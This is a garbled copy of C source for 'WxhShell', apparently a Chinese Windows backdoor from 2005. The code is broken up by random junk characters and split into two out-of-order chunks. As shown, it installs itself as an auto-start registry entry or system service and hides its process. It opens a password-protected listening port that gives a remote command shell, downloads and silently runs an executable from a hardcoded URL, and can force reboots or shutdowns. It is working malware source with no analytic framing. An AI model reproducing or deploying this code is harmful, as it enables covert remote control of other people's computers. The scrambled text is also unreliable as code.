}Ye static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5*>3(U l+ <x HANDLE hProcess; AuYi$?8|5 PROCESS_BASIC_INFORMATION pbi; ]j:Ikb} `P4qEsZE>` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gf2w@CVF>= if(NULL == hInst ) return 0; _E[{7"3} *)d|:q3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _V|'iz9. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E]Hl&t/} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zR3Z(^]v _mL 9G5~r if (!NtQueryInformationProcess) return 0; wh:`4Yw jW",'1h<n hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L=}UApK if(!hProcess) return 0; +=@Z5eu `ionMTZY if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?-'Q-\j tg5jS]O CloseHandle(hProcess); \>/:@4oK V2]S{!p}k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "WYcw\@U if(hProcess==NULL) return 0; 5tl}rmI` Fk(0q/b HMODULE hMod; a^5`fA/L, char procName[255]; E(U}$Zey unsigned long cbNeeded; ddHIP`wb qkUr5^1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @+X}O/74 r5iO%JFg CloseHandle(hProcess); I}v'n{5( )3B5"b, if(strstr(procName,"services")) return 1; // 以服务启动 rb\Ohv\ 3]Lk}0atpL return 0; // 注册表启动 TzL40="F } t1Khf O\KAvoQ%s // 主模块 0XYO2k int StartWxhshell(LPSTR lpCmdLine) {Rj' =%h { _@prv7e SOCKET wsl; o>`/,-! BOOL val=TRUE; j*:pW;)^ int port=0; ?s"v0cg+ struct sockaddr_in door; EShakV S s`0;D1 if(wscfg.ws_autoins) Install(); e<^4F%jSK kyo ,yD port=atoi(lpCmdLine); V!U[N.&$ Yg]f2ke if(port<=0) port=wscfg.ws_port; G[>-@9_b /l$noaskX WSADATA data; i)(QNpv if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ju9v n44 ^:)&KV8D| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]VYl Eqe setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -% fDfjP door.sin_family = AF_INET; cT0g, ^& door.sin_addr.s_addr = inet_addr("127.0.0.1"); }t-r:R$, door.sin_port = htons(port); M7>\Qk iRVLo~ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _gGy(` closesocket(wsl); ? s ewU9* return 1; L2h+[f } 6~/H#8Kdn P*T)/A%4 if(listen(wsl,2) == INVALID_SOCKET) { )eV40l$
M closesocket(wsl);
#129 i2 return 1; v/haUPWF\ } |B`tRq Wxhshell(wsl); pq&c]8H WSACleanup(); _INUJc t2SZ]|C return 0; aBC[(}Pb] YaT07X.(b } ha),N<' ~3YNHm6V // 以NT服务方式启动 LGMFv VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fIcv}Y { 2Ls<OO DWORD status = 0; t]o gn( DWORD specificError = 0xfffffff; l&A` E>1USKxn serviceStatus.dwServiceType = SERVICE_WIN32; UK<"|2^sT serviceStatus.dwCurrentState = SERVICE_START_PENDING;
]\e zES serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3U`.:w` serviceStatus.dwWin32ExitCode = 0; `3:%F> serviceStatus.dwServiceSpecificExitCode = 0; an2Tc*=~l( serviceStatus.dwCheckPoint = 0; z} \9/` serviceStatus.dwWaitHint = 0; ~EM];i ~GeYB6F hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^>p [b if (hServiceStatusHandle==0) return; ]x G4T>S YBO53S]= status = GetLastError(); ]O\W<'+V if (status!=NO_ERROR) p{J_d,JH { E)E! serviceStatus.dwCurrentState = SERVICE_STOPPED; Ttj5%~ serviceStatus.dwCheckPoint = 0; 'x0t,
;g serviceStatus.dwWaitHint = 0; !!86Sv serviceStatus.dwWin32ExitCode = status; I{PN6bn{> serviceStatus.dwServiceSpecificExitCode = specificError; W<L6, SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^hgAgP{{ return; Dn3~8 } @ih}x $g};u[y serviceStatus.dwCurrentState = SERVICE_RUNNING; #50)D wD serviceStatus.dwCheckPoint = 0; 8(D}y\ serviceStatus.dwWaitHint = 0; &B4U) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w3Ohm7N[ } ]>L]?Rm K5lp-F // 处理NT服务事件,比如:启动、停止 F%d"gF0qu VOID WINAPI NTServiceHandler(DWORD fdwControl) ;^*!<F%t9R { `Vi:r9|P switch(fdwControl) NHF?73: { @7=D ]yu case SERVICE_CONTROL_STOP: YM|S< serviceStatus.dwWin32ExitCode = 0; J4g;~#_19 serviceStatus.dwCurrentState = SERVICE_STOPPED; "/fs%F serviceStatus.dwCheckPoint = 0; h;KK6*Z*$E serviceStatus.dwWaitHint = 0; S\ZAcz4 { NLl~/smMS SetServiceStatus(hServiceStatusHandle, &serviceStatus); (r4VIlap } uLM_KZ return; +CT$/k case SERVICE_CONTROL_PAUSE: eNFUjDm serviceStatus.dwCurrentState = SERVICE_PAUSED; ODEXQl}R break; wjJ1Psnx case SERVICE_CONTROL_CONTINUE: '5U$`Xe1 serviceStatus.dwCurrentState = SERVICE_RUNNING; 2&fwr>!$ break; !y`e,(E case SERVICE_CONTROL_INTERROGATE: C#&6p0U break; u&x K>7 }; ([-=NT}Aq SetServiceStatus(hServiceStatusHandle, &serviceStatus); o
z{j2% } syf"{bBe 61/zrMPn // 标准应用程序主函数 8!GLw-kb int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QP%Fz#u` { ek)(pJ(+# WtfOE@h // 获取操作系统版本 jPNfLwVkl: OsIsNt=GetOsVer(); N08n/u&cr, GetModuleFileName(NULL,ExeFile,MAX_PATH); P{!:pxu[ *h:EE6| // 从命令行安装 q'U5QyuC if(strpbrk(lpCmdLine,"iI")) Install(); mN
6`8
[ }%ThnFFBw // 下载执行文件 eF^"{a3b if(wscfg.ws_downexe) { 0s""%MhFI if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ';,Bn9rv WinExec(wscfg.ws_filenam,SW_HIDE); {7>CA'> } "D(8]EG= -3tBN*0+ if(!OsIsNt) { QCfpDE} // 如果时win9x,隐藏进程并且设置为注册表启动 `;CU[Ps?] HideProc(); oB
R(7U~0 StartWxhshell(lpCmdLine); MK" } Zw][c7% else x,gE$dNzy if(StartFromService()) u^zitW!X$ // 以服务方式启动 4E\ntufo StartServiceCtrlDispatcher(DispatchTable); V55J[s*6! else =awO63j> // 普通方式启动 @:9fS StartWxhshell(lpCmdLine);
t} i97 ; 7&1~O# return 0; m2CWQ[u } chmJ| j&
iL5J; Q@wq
}vc! P`dHR;Y0 =========================================== @) ZO$h -5v.1y=!L gQ=POJ=G S<!_
u q |zq!CLjD@ G+ v, Hi1 " +`zi>= 9m!! b{ #include <stdio.h> E97+GJ3 #include <string.h> J.mewD!%z #include <windows.h> ioNa~F& #include <winsock2.h> pJIE@Q|hi #include <winsvc.h> C<t'f(4s`u #include <urlmon.h> -^4bA<dCCE PT#eXS9_ #pragma comment (lib, "Ws2_32.lib") j'Y"/< #pragma comment (lib, "urlmon.lib") cYM~IA Lv5X 'yM #define MAX_USER 100 // 最大客户端连接数 n_aNs]C9R #define BUF_SOCK 200 // sock buffer M2E87w #define KEY_BUFF 255 // 输入 buffer 3V
Mh) ,0uo&/Y4L #define REBOOT 0 // 重启 4:Xj-l^D #define SHUTDOWN 1 // 关机 /witDu7 {jM<t #define DEF_PORT 5000 // 监听端口 9c^skNbS .pIR/2U\F #define REG_LEN 16 // 注册表键长度 0L0Jc,(F+ #define SVC_LEN 80 // NT服务名长度 xw+<p Z-t}6c'Kg // 从dll定义API Ue3B+k9w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A?Nn>xF9X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L+L"$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2#b<d?" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,.oa,sku P
0Efh?oZ // wxhshell配置信息 |rxKCzjm struct WSCFG { uGa(_ut int ws_port; // 监听端口 I[=Wmxa?r char ws_passstr[REG_LEN]; // 口令 lj EB int ws_autoins; // 安装标记, 1=yes 0=no 0Q$~k char ws_regname[REG_LEN]; // 注册表键名 Q)G!Y
(g\ char ws_svcname[REG_LEN]; // 服务名 dqD;y#/ char ws_svcdisp[SVC_LEN]; // 服务显示名 mNx,L+3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 nOoKGT char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q8?=*1g int ws_downexe; // 下载执行标记, 1=yes 0=no C!7U<rI char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rT f lk char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v~V;+S=gz tg7C;rJ }; Lf^5Eo/
5A (Bt;DM#> // default Wxhshell configuration .'5'0lR5 struct WSCFG wscfg={DEF_PORT, 8Wdkztp/S "xuhuanlingzhe", AZxrJ2G 1, NV8]#b "Wxhshell", [|a(
y6Q "Wxhshell", uX<+hG.n} "WxhShell Service", h4XcKv+ "Wrsky Windows CmdShell Service", WYwzo V- "Please Input Your Password: ", _x\-!&[p 1, +R
"AA_A? "http://www.wrsky.com/wxhshell.exe", *CeQY M "Wxhshell.exe" ;Ze"<U }; |?x^8e<* 7$+P|U // 消息定义模块 >oft :7p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e=gboR char *msg_ws_prompt="\n\r? for help\n\r#>"; z}>4,d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /rIm7FW) char *msg_ws_ext="\n\rExit."; n> MD\ZS char *msg_ws_end="\n\rQuit."; n 5~=qQK2 char *msg_ws_boot="\n\rReboot..."; hz<|W5 char *msg_ws_poff="\n\rShutdown..."; rD0k%-{{ char *msg_ws_down="\n\rSave to "; +jq
2pFQ >vQ6V'F char *msg_ws_err="\n\rErr!"; j';n8|Y9 char *msg_ws_ok="\n\rOK!"; cy1\u2x_` z@!^ow)`J char ExeFile[MAX_PATH]; T(Y}V[0+ int nUser = 0; pNp^q/-yB HANDLE handles[MAX_USER]; cJP'ShnCh int OsIsNt; 6RH/V:YY G$cxDGo SERVICE_STATUS serviceStatus; nHSTeFI? SERVICE_STATUS_HANDLE hServiceStatusHandle; ?N4A9W9 &}zRH}s; // 函数声明 LkaG8#m1R int Install(void); 8]My
k> int Uninstall(void); 5\VxXiy0 int DownloadFile(char *sURL, SOCKET wsh); |xq}'.C int Boot(int flag); S&n[4* void HideProc(void); De;, =BSp int GetOsVer(void); PPN q:, int Wxhshell(SOCKET wsl); +jcdf} void TalkWithClient(void *cs); !\aV0, int CmdShell(SOCKET sock); ;)gLjF/F7 int StartFromService(void); >/b^fAG int StartWxhshell(LPSTR lpCmdLine); bKYY{V55 ]X*YAPv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h>dxBN VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y\.DQ l#Yx
TY // 数据结构和表定义 fzl=d_ SERVICE_TABLE_ENTRY DispatchTable[] = <R>Q4&we( { VR"8Di&) {wscfg.ws_svcname, NTServiceMain}, %Hh3u$Y, {NULL, NULL} SAP;9*f1\ }; PDhWFF [4Y[?)7 // 自我安装 0"TgLd int Install(void) EVG"._I@ { 3Mw}R6g@# char svExeFile[MAX_PATH]; &uPDZ#C- HKEY key; ?C}sR: K/ strcpy(svExeFile,ExeFile); E$w#+.QP #7+]%;h // 如果是win9x系统,修改注册表设为自启动 cu<y8
:U< if(!OsIsNt) { =w6}\ 'X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .`Sw,XL5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O'OFz}x), RegCloseKey(key); J8J!#j. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > <X $# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {(%~i37 RegCloseKey(key); $}db /hY* return 0; b) Ux3PB } BO"qD[S } B_cgWJ*4 } @O'I)(To else { ]9s\_A9 SAy{YOLtl // 如果是NT以上系统,安装为系统服务 T RDxT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w
[L&* if (schSCManager!=0) 1#]B^D { O~atNrHD SC_HANDLE schService = CreateService 7u|%^Ao6 ( {d,?bs) schSCManager, \TZ|S,FS wscfg.ws_svcname, bH,M,xIL2 wscfg.ws_svcdisp, -8/ JP
SERVICE_ALL_ACCESS, 3
&Sp@, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k1RV' SERVICE_AUTO_START, Z B$NVY SERVICE_ERROR_NORMAL, pu#[pa
svExeFile, HJ",Sle NULL, =6fB*bNk] NULL, RbKwO}
z$q NULL, bf(+ldq NULL, FD))'!> NULL
jC4O` ); xvB8YW" if (schService!=0) >P<'L4; { !UVk9 CloseServiceHandle(schService); }1Z6e[K? CloseServiceHandle(schSCManager); ??j&i6sp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c@9##DPn strcat(svExeFile,wscfg.ws_svcname); @<a| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KJX>DL 9\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zQ_z7FJCB RegCloseKey(key); [1U{ci&=p return 0; .zIgbv s } [83>T , } T6X}Ws " CloseServiceHandle(schSCManager); &//2eL } ?aFZOc4
} )'t&q/Wn w,/6B&| return 1; XfDX:b1p } (-J<Vy] R(`]n!V2 // 自我卸载 Z0W0uP;J int Uninstall(void) C/)`<b( { 4kh8W~i;/ HKEY key; .:N:p We
7O$ & if(!OsIsNt) { :X Lp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .6Fsw
RegDeleteValue(key,wscfg.ws_regname); ]'g:B p RegCloseKey(key); ]Zk}ZG>6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Zl4C;c RegDeleteValue(key,wscfg.ws_regname); XL~>rw< RegCloseKey(key); 7@3sUA_Go return 0; y;QQ| =, } s[T{c.F }
mV;3ILO } T%~SM5 else { 6]ZO'Nwo ]x_F{&6U8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7>mhK7l if (schSCManager!=0) 4 4`WYK l { CIy^`2wq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7>&1nBh. f if (schService!=0) '$6PTa { gwq`_/d} if(DeleteService(schService)!=0) { cmIT$?J CloseServiceHandle(schService); .)t(:)*b CloseServiceHandle(schSCManager); U{HML| return 0; .pW o >`" } ONfyYM? CloseServiceHandle(schService); -=sf}4A } jzMg'z/@J CloseServiceHandle(schSCManager); xEC2@J } 1a*6ZGk. } BfVBywty 3Y(9\}E@` return 1; 5{>>,pP& } ?S9Nm~vlt J'Gm7h{
// 从指定url下载文件 q0g1EJar int DownloadFile(char *sURL, SOCKET wsh) 6Hl<,(vn { rei5{PC HRESULT hr; r,"7%1I char seps[]= "/"; x G ^f char *token; 3fl7~Lw, char *file; xl9(ze char myURL[MAX_PATH]; 0O[l?e4,8{ char myFILE[MAX_PATH]; 2+Zti8 DyIV/ strcpy(myURL,sURL); 3a9u"8lG token=strtok(myURL,seps); -O %[!&` while(token!=NULL) bM5CDzH(#X { }k| g%HJ file=token; d EIa=e| token=strtok(NULL,seps); D$$3fN.iEL } F3 Y<ZbxT E[ 0Sst x GetCurrentDirectory(MAX_PATH,myFILE); kU1 %f
o strcat(myFILE, "\\"); _0m}z%rI strcat(myFILE, file); CC>($k" send(wsh,myFILE,strlen(myFILE),0); W8VO)3nmD send(wsh,"...",3,0); $ hoYkA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FCAJavOGH if(hr==S_OK) 7N6zqjIB return 0; GZS{&w! else O"8 P#Ed return 1; RPY6Wh|4 tI'e ctn } aoK4Du{ ]o `4Z" // 系统电源模块 8TI#7 int Boot(int flag) HwM/}-t { 4L!e=>as"1 HANDLE hToken; v|>BDN@,6 TOKEN_PRIVILEGES tkp; 6kC)\uy 0OEtU5lf`y if(OsIsNt) { *%nX#mwz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /CbkqNV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5uzpTNAMM1 tkp.PrivilegeCount = 1; v3Eo@,- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bu;vpNa AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vRxL&8`& if(flag==REBOOT) { S;BP`g<l= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,d5ia4\K return 0; Y[T J;O!R } C>M6&= else { uz8nRS s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IK85D>00T return 0; xR _DY'z } %N!h38N2 } b\H/-7< else { S`fu+^cv if(flag==REBOOT) { i;gw=Be if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v#w4{.8) return 0; +h9`I/R } oK%K+h else { P~;<o!f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +HYN$> return 0; bXk:~LE } P"U>tsHK: } [Q7`RB l[:^TfB return 1; 3J23q } HdDo "bLP3 // win9x进程隐藏模块 %9fa98> void HideProc(void) :+kg4v&r { T
"ZQPLg mOABZ#+Fk HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /2=_B4E2 if ( hKernel != NULL ) `@W3sW/^ { Tey,N^=ek pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1v+JCOy ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u66TrYS tG FreeLibrary(hKernel); sqgD?:@J } {b\Y?t^>f rerUM*0 return; _:/Cl9~ } WMt&8W5 `HMligT // 获取操作系统版本 $fq-wl-= int GetOsVer(void) y$+!%y* { 9u-M! $ OSVERSIONINFO winfo; &VtWSq-) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BZnp
#}f GetVersionEx(&winfo); BVwRPt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U)IsTk~}O return 1; a,F8+
Pb> else 3M`hn4)K return 0; dK-
^ } sWqPw}/3> o}j_eHl{
// 客户端句柄模块 ,Jw\3T1V int Wxhshell(SOCKET wsl) s~IA},F,\ { S|z( SOCKET wsh; Cz$Hk;3\6 struct sockaddr_in client; d6Q :{!Sd" DWORD myID; W? 6 Z]1z*dv while(nUser<MAX_USER) PG-cu$\?? { 9phD5b~j int nSize=sizeof(client); Y;%R/OyWY wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ID{Pzmt- if(wsh==INVALID_SOCKET) return 1; 7oqn;6<[>, s`$_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S|=rF<]my if(handles[nUser]==0) (pRy1DH~ closesocket(wsh); JXZ:Wg else f0fqDmn nUser++; J T0,Z } s K$Sar WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $HR(|{piZ =c5 /cpZ^ return 0; s/p>30Fg } G+\~rl .-1{,o/&Q // 关闭 socket 8zB+%mcF void CloseIt(SOCKET wsh) + - KRp1qq { tr67ofld| closesocket(wsh); V }r_ nUser--; {KQ-Ce-6 ExitThread(0); BR0p0% } QeOt;{_| Ms$7E // 客户端请求句柄 _c7 void TalkWithClient(void *cs) [7Kj$PB3 { '=G<)z@k uBL~AC3>O SOCKET wsh=(SOCKET)cs; "
:nVigw& char pwd[SVC_LEN]; 9Av- ;!] char cmd[KEY_BUFF]; N6 }i>";_; char chr[1]; `'k's]Y int i,j; yKk,); JcALFKLB while (nUser < MAX_USER) { f+W[]KK*PW /-<m(72wF if(wscfg.ws_passstr) { q'8@0FT0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]V]@Zna@g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2*",{m //ZeroMemory(pwd,KEY_BUFF); |(8Hk@\CT> i=0; kpMM%"=V while(i<SVC_LEN) { JMe[
.Sx )^'B:ic // 设置超时 pUEok + fd_set FdRead; h,jAtL! struct timeval TimeOut; -"^WDs FD_ZERO(&FdRead); YNQ6(HA FD_SET(wsh,&FdRead); l$_+WC*wp TimeOut.tv_sec=8; RlPByG5K TimeOut.tv_usec=0; "l;8
O2;g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hy`)]>9z~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I z=w2\r {zN_l! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2B?i2[a, pwd=chr[0]; *L8HC8IbH if(chr[0]==0xd || chr[0]==0xa) { I!0+RP( pwd=0; \ rWgA break; r0uXMr=Z96 } .Qw@H#dtW i++; Oqe.t;E 0} } G(3la3\( ^3s&90 // 如果是非法用户,关闭 socket _!p$47 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z!l!3(<G.f } RvZ-w$E&? "@?kxRn! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L;t~rW!1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3kQ8*S ^nZ2p$ while(1) { 05LQh g*imswj7 ZeroMemory(cmd,KEY_BUFF); 4'b]2Mn3 VIdoT2 // 自动支持客户端 telnet标准 AFUl j=0; To?
bp4 while(j<KEY_BUFF) { wz)9/bL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bzt`9lg cmd[j]=chr[0]; :Aiu!}\ if(chr[0]==0xa || chr[0]==0xd) { ;@s~t:u cmd[j]=0; /\I%)B47^9 break; V
*y } vs5wxTM j++; `bF;Ew; } XB 7^Ka 9?,.zc^ // 下载文件 3(p6ak2lv if(strstr(cmd,"http://")) { fOervo send(wsh,msg_ws_down,strlen(msg_ws_down),0); -RDs{c`y%N if(DownloadFile(cmd,wsh)) }Cg~::," send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,lM2BXz% else kovzB] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); umn^QZ, } cLP@0`^H else { U8z"{ !S{<Xc'wv switch(cmd[0]) { 1`\kXaG r!iuwE@ // 帮助 *4y r7~S5 case '?': { qNL~m' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D<6kAGE break; ir#^5e@ } \M@8# k| // 安装 !{;RtUPz* case 'i': { u)pBFs<dn if(Install()) Hm*#HT%# send(wsh,msg_ws_err,strlen(msg_ws_err),0); }iAi`_\0; else k0?6.[ku send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KZNyp%q break; .#|pje^ } UC@ "<$'C // 卸载 gs>cx]> case 'r': { ;0gpS y$# if(Uninstall()) _R6> Ayw* send(wsh,msg_ws_err,strlen(msg_ws_err),0); sA.yb,Fw else JK`P
mp> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &@-glF5 break; ?|dz"=y } CG;D (AWR; // 显示 wxhshell 所在路径 P0=F9`3wb case 'p': { (6{
VMQ char svExeFile[MAX_PATH]; i$bBN$<b< strcpy(svExeFile,"\n\r"); LAeX e!y strcat(svExeFile,ExeFile); 3>6o=7/PU send(wsh,svExeFile,strlen(svExeFile),0); a{W-+t break; GZo4uwG@a } 2Mda'T8 // 重启 <9~qAq7^ case 'b': { 7F4]EA^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pxj"<q`nw8 if(Boot(REBOOT)) Xk$lQMwZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *&D=]fG else { icmDPq closesocket(wsh); UsTPNQj ExitThread(0); f7'%AuSQ( } j^.P=; break; O]>`B{ } FcA0 \`0M // 关机 l;uEw case 'd': { (EX send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %#,BvQz~ if(Boot(SHUTDOWN)) UL/>t}AG send(wsh,msg_ws_err,strlen(msg_ws_err),0); he Wb(E& else {
CvN~ closesocket(wsh); iYf4 /1IG, ExitThread(0); WxFjpJt
} EB#z\ break; |1D`v9 } abND#t // 获取shell |j,Mof case 's': { #d~"bn q;c CmdShell(wsh); 5+UiAc$ closesocket(wsh); Ij+zR>P8=\ ExitThread(0); jhLh~.
8 break; vXF\PMf } md0=6<
}P // 退出 ,J|};s+ case 'x': { $spf=t"nh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yS*PS='P CloseIt(wsh); b%kh:NV{S break; < |